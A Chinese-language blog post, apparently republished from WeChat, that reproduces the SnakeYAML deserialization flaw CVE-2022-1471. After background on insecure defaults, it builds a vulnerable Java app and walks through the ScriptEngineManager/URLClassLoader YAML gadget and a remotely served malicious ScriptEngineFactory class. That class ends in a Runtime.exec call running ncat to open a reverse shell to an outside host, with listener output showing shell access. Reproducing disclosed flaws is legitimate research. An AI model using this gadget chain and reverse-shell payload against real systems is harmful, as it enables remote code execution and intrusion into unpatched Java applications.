上周,来自 Atlassian 的一份公告,该报告修复了SnakeYAML库中的一个反序列化远程代码执行漏洞 ,编号为CVE-2022-1471。我花了一些时间看了下Confluence和Bitbucket,也确认这两个是攻击范围,但由于没能快速找到一个可远程访问的YAML接收器。也因此,决定复现关于SnakeYAML反序列化问题(CVE-2022-1471),复盘和分享涉及所有知识。
SnakeYAML 是一个用于解析和生成 YAML 格式数据的 Java 库。它能够将 YAML 数据转换为 Java 对象,以及将 Java 对象序列化为 YAML 格式。SnakeYAML 支持所有 YAML 1.1 规范,并且能够处理 UTF-8 和 UTF-16 编码。它还支持 Java 对象的序列化和反序列化,包括各种类型,如 map、omap、set、常量等。
开源“默认不安全”故事
在我们深入研究此漏洞的具体细节之前发现了有关默认安全问题在开源开发人员角度下的认知,很有趣,如果只想了解技术内容,完全可以跳过这节。
2022 年 12 月,也就是一年前,有漏洞 ( SnakeYAML 项目的存档链接),为 CVE-2022-1471。漏洞情况是:默认安装使用下,如果解析不受信任的 YAML 文件,创建该文件的人可以通过实例化任意 Java 对象并调用其构造函数或设置其 公共/可设置字段 来在计算机上运行想要的代码。
这类默认安全漏洞太多了,不管是hw还是在野中都是常被利用的存在,通过大量 Google 汇总不同来源,发现默认安全漏洞被在野利用和导致了很多数据泄露事件。
默认安全显然是安全设计的重要组成部分。在开源项目中里,角度不同,所以对于开源社区的项目开发者来说,但很多开源项目里,默认安全的问题并不被重视,很好笑的一些回应如下,感觉比SRC要精彩一些:
这不是漏洞:
不会修复 表示没有问题。
认为用户会安全使用 YAML:
只影响那些从未知来源获取不受信任数据的人 - 到目前为止,没有人提出有效的用例。
表明就是这么设计的,如 YAML目的在运行代码.
它仅得出 YAML 可以执行代码的结论。这是 故意的 - 这就是人们使用 YAML 的原因(否则他们可能会使用 JSON)
归咎于工具:
比如一键安装等,对于那些相信低质量工具及其误报的人来说,这只是一个问题。
指责开发人员错误地使用该库:
但是,当 YAML 来自不受信任的来源时,应在将其提供给解析器之前对其进行清理。
更多地指责这些工具:
我们能否尝试找到一种解决方案,让这种低质量的工具闭嘴?他们经常产生误报
告诉安全研究人员他们不明白,但他们不会说出原因:
亲爱的 xxx,谢谢。我现在明白有多少事情需要解释。您错过了很多上下文,我不想在这里回复。
等等,还有更多。这是处理安全问题时不该做的事情。
SnakeYAML 有一个 wiki 页面,上面写着“ [i]f you are dealing with the YAML files received from untrusted sources - check those Vulnerabilities and assess the risks ",还说“ It is unsafe to open a socket and blindly forward any trash as input for the parser ” 大概类似意思类似“ 不要点浏览器里的链接 ”。
来解析 YAML漏洞存在的情况下,而项目页面显示 “ 当您使用 SnakeYAML 配置您的应用程序时,用户是完全安全的 ”。
最终在各种有效沟通下,SnakeYAML 开发人员推出了 2.0 版,该版本修复了这些问题。但是,如果遇到 2.0 之前的任何 SnakeYAML 版本,要仔细检查数据的来源,会有RCE风险。
正篇:构建易受攻击的应用程序
我写了一个POC,一个最小化的伤害、并能证明漏洞的程序,这个程序主要是用于解析YAML文件的。和网传版本不同,我的版本不是Web应用程序,只是用来读取本地文件的。java写的,程序代码如下:
import org.yaml.snakeyaml.DumperOptions;
import org.yaml.snakeyaml.constructor.Constructor;
import org.yaml.snakeyaml.Yaml;
import java.io.FileInputStream;
import java.io.InputStream;
class MySerialClass {
private long id;
public Object objectField;
public String stringField;
public MySerialClass() {
}
public MySerialClass(long id, Object test) {
this.id = id;
this.objectField = test;
this.stringField = test.toString();
}
public String toString() {
return id + " " + stringField.toString();
}
}
public class App {
public static void main(String[] args) throws Exception {
MySerialClass data = null;
if(args.length == 0) {
data = new MySerialClass(1337, "Hello!");
} else {
InputStream inputStream = new FileInputStream(args[0]);
Yaml yaml = new Yaml(new Constructor(MySerialClass.class));
data = yaml.load(inputStream);
}
System.out.println("As string:");
System.out.println(data);
DumperOptions options = new DumperOptions();
options.setIndent(2);
options.setPrettyFlow(true);
options.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK);
Yaml yaml = new Yaml(options);
System.out.println();
System.out.println("As YAML:");
System.out.println(yaml.dump(data));
}
}
还需要一个SnakeYAML易受攻击版本的.jar(我使用的是snakeyaml-1.32.jar)。有了.java文件和SnakeYAML .jar文件,就可以用javac进行编译(或者你可以使用我提交到仓库的.class文件):
javac -cp snakeyaml-1.32.jar App.java
编译完成后,用java执行就可以:
java -cp .:snakeyaml-1.32.jar AppAs string:1337 Hello!As YAML:!!MySerialClassobjectField: Hello!stringField: Hello!
理解其中语法
创建一个包含上述YAML对象的YAML文件:
!!MySerialClassobjectField: Hello!stringField: Hello!
并将其加载到我们的 PoC 应用程序中:
java -cp .:snakeyaml-1.32.jar App demo/legit.yaml
As string:
0 Hello!
As YAML:
!!MySerialClass
objectField: Hello!
stringField: Hello!
结果显示已加载对象。然后是语法,它在 YAML 规范中作为“辅助句柄”列出。YAML 有一些内置类型(如 !!str 和 !!map 等),但通常将它们用于其他事情,如定义类名。
我们实际上可以使用它来实例化随机内置类,例如java.lang.Byte(选择一个简单的类)
cat demo/test.yaml
!!MySerialClass
stringField: Hello!
objectField: !!java.lang.Byte ["12"]
java -cp .:snakeyaml-1.32.jar App demo/test.yaml
As string:
0 Hello!
As YAML:
!!MySerialClass
objectField: 12
stringField: Hello!
如果尝试使用字符串或数组创建 Byte 对象,会发现它只是调用该类型的构造函数:
$ cat demo/test.yaml
!!MySerialClass
stringField: Hello!
objectField: !!java.lang.Byte ["hello"]
$ java -cp .:snakeyaml-1.32.jar App demo/test.yaml
Exception in thread "main" Cannot create property=objectField for JavaBean=0 Hello!
[...]
Caused by: java.lang.NumberFormatException: For input string: "hello"
at java.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:67)
at java.base/java.lang.Integer.parseInt(Integer.java:668)
at java.base/java.lang.Byte.parseByte(Byte.java:193)
at java.base/java.lang.Byte.<init>(Byte.java:372)
... 20 more
$ cat demo/test.yaml
!!MySerialClass
stringField: Hello!
objectField: !!java.lang.Byte [12, 34]
$ java -cp .:snakeyaml-1.32.jar App demo/test.yaml
Exception in thread "main" Cannot create property=objectField for JavaBean=0 Hello!
[...]
Caused by: org.yaml.snakeyaml.error.YAMLException: No suitable constructor with 2 arguments found for class java.lang.Byte
at org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:594)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:325)
... 13 more
理解这些对象如何实例化已经足够深入了。但这对漏洞利用有何意义?
编写EXP
可以参考一些其它分析文章。我的方式是先写有一个针对PyTorch的Metasploit模块,实现了这个确切的攻击向量,尽管理解起来有点复杂。Michael Stepankin(artsploit)有漏洞展示类功能,该功能可以打开MacOS的计算器,这很黑阔。我参考了一篇很优质的Medium文章,将结合所有这些资源,尽可能简化一点完成EXP。
很多文章里对漏洞利用说的不是很清楚,我把踩到的坑也整理了。
EXP:构建YAML文件
大多数文章告诉你只需创建所需的对象,例如:
$ cat demo/test.yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://localhost:8000/"] ]] ]
然后加载到YAML中;使用我编写的测试程序,但不起作用:
$ java -cp .:snakeyaml-1.32.jar App demo/test.yaml
Exception in thread "main" Can't construct a java object for tag:yaml.org,2002:MySerialClass; exception=No suitable constructor with 1 arguments found for class MySerialClass
in 'reader', line 1, column 1:
!!javax.script.ScriptEngineManag ...
^
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:235)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:224)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:178)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:162)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:477)
at org.yaml.snakeyaml.Yaml.load(Yaml.java:418)
at App.main(App.java:36)
Caused by: org.yaml.snakeyaml.error.YAMLException: No suitable constructor with 1 arguments found for class MySerialClass
at org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:594)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:325)
... 7 more
我花一些时间折腾解析器才能弄清楚它实际上在做什么,测试了很久,发现答案是“视情况而定”。
如果假定的对象有一个无参数的构造函数,可以使用YAML字典创建一个对象,将一个或多个公共字段设置为所需的对象:
!!MySerialClass
stringField: "hi"
objectField: !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://localhost:8000/"]]]]
如果有一个单参数构造函数,你可以发送原始对象,而实际上并没有运行构造函数,因此也没有运行漏洞,
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://localhost:8000/"] ]] ]
如果构造函数有一个或多个参数,可以传递一个包含那么多对象的数组,每个对象都将被实例化。这个用于带两个参数的构造函数,但可以使用任何数量(并且对象类型似乎无关紧要):
!!MySerialClass [
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://localhost:8000/"] ]] ],
"Hello!"
]
武器化:
我们也一直在使用这个小工具:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://localhost:8000/"] ]] ],
这是我在文章中看到的最常见的小工具,它可以在默认的 JVM 中运行,而不需要任何特殊的库,这意味着它应该适用于大多数目标。
分析这个小工具原理,测试发现会从 http://localhost:8000 获取一些东西(可以是任何 URL),我尝试简单地提供 .jar 文件,但不起作用。
所以我设置一个ncat监听器以查看发生了什么,在目标解析该YAML文件后,抓到请求如下:
$ nc -l -p 8000HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1User-Agent: Java/17.0.9Host: localhost:8000Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: keep-alive
这是 /META-INF/services/javax.script.ScriptEngineFactory 的 HEAD 请求。
/META-INF/services/javax.script.ScriptEngineFactory 只是返回一个用作类名的字符串。可以使用 Python http.server 监听器来服务 一个包含该文件的假 Webroot,并在其中放入任意类名文件:
$ find .../META-INF./META-INF/services./META-INF/services/javax.script.ScriptEngineFactory$ cat ./META-INF/services/javax.script.ScriptEngineFactoryMyTestClass$ python -m http.serverServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...[... run the PoC ...]127.0.0.1 - - [19/Dec/2023 15:46:18] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 200 -127.0.0.1 - - [19/Dec/2023 15:46:18] "GET /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 200 -127.0.0.1 - - [19/Dec/2023 15:46:18] code 404, message File not found127.0.0.1 - - [19/Dec/2023 15:46:18] "GET /MyTestClass.class HTTP/1.1" 404 -
所以,我们从./META-INF/services/javax.script.ScriptEngineFactory文件中返回MyTestClass,然后它尝试获取/MyTestClass.class,在构造函数中放入了一些代码:
$ cat MyTestClass.java public class MyTestClass { public MyTestClass() { System.out.println("Hi!"); }}$ javac MyTestClass.java $ python -m http.serverServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...[... run the PoC ...]127.0.0.1 - - [19/Dec/2023 15:51:22] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 200 -127.0.0.1 - - [19/Dec/2023 15:51:22] "GET /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 200 -127.0.0.1 - - [19/Dec/2023 15:51:22] "GET /MyTestClass.class HTTP/1.1" 200 -
运行PoC,报了一个错误:
$ java -cp .:snakeyaml-1.32.jar App demo/exploit.yaml
ScriptEngineManager providers.next(): javax.script.ScriptEngineFactory: MyTestClass not a subtype
As string:
0 Hello!
[...]
所以需要编写的类成为javax.script.ScriptEngineFactory的子类型。这有可能是我的java功力不够。我各种找,发现了Swapneil Kumar Dash博客提供了类似方向的源代码,微调了下,最终结果代码如下:
$ cat MyTestClass.java import javax.script.ScriptEngine;import javax.script.ScriptEngineFactory;import java.io.File;import java.util.List;public class MyTestClass implements ScriptEngineFactory { public MyTestClass() { System.out.println("It's working!!"); System.exit(0); } public String getEngineName() { return null; } public String getEngineVersion() { return null; } public List<String> getExtensions() { return null; } public List<String> getMimeTypes() { return null; } public List<String> getNames() { return null; } public String getLanguageName() { return null; } public String getLanguageVersion() { return null; } public Object getParameter(String key) { return null; } public String getMethodCallSyntax(String obj, String m, String... args) { return null; } public String getOutputStatement(String toDisplay) { return null; } public String getProgram(String... statements) { return null; } public ScriptEngine getScriptEngine() { return null; }}$ javac MyTestClass.java$ python -m http.serverServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...[... run the PoC ...]127.0.0.1 - - [19/Dec/2023 15:58:27] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 200 -127.0.0.1 - - [19/Dec/2023 15:58:27] "GET /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 200 -127.0.0.1 - - [19/Dec/2023 15:58:27] "GET /MyTestClass.class HTTP/1.1" 200 -
运行成功,运行 PoC 的结果:
$ java -cp .:snakeyaml-1.32.jar App demo/exploit.yaml
It's working!!
武器化利用
由于我们只是提供一个 .class 文件,此时可以运行喜欢的任何 Java 代码。最简单的方法是exec另一个命令:
$ cat MyTestClass.java
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.File;
import java.io.IOException;
import java.util.List;
public class MyTestClass implements ScriptEngineFactory {
public MyTestClass() throws Exception {
Runtime.getRuntime().exec("ncat -e /bin/bash 10.0.0.32 4444");
System.exit(0);
}
public String getEngineName() { return null; }
public String getEngineVersion() { return null; }
public List<String> getExtensions() { return null; }
public List<String> getMimeTypes() { return null; }
public List<String> getNames() { return null; }
public String getLanguageName() { return null; }
public String getLanguageVersion() { return null; }
public Object getParameter(String key) { return null; }
public String getMethodCallSyntax(String obj, String m, String... args) { return null; }
public String getOutputStatement(String toDisplay) { return null; }
public String getProgram(String... statements) { return null; }
public ScriptEngine getScriptEngine() { return null; }
}
$ javac MyTestClass.java
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
[... run the PoC ...]
127.0.0.1 - - [19/Dec/2023 16:02:54] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 200 -
127.0.0.1 - - [19/Dec/2023 16:02:54] "GET /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 200 -
127.0.0.1 - - [19/Dec/2023 16:02:54] "GET /MyTestClass.class HTTP/1.1" 200 -
在我们的ncat监听器中:
$ nc -l -p 4444pwd/home/ron/shared/analysis/snakeyaml/snakeyaml_cve_pocwhoamiron
拿到 shell,还可以使用 Meterpreter 有效负载或任何想要的目的。
原文始发于微信公众号(军机故阁):CVE-2022-1471 SnakeYAML RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论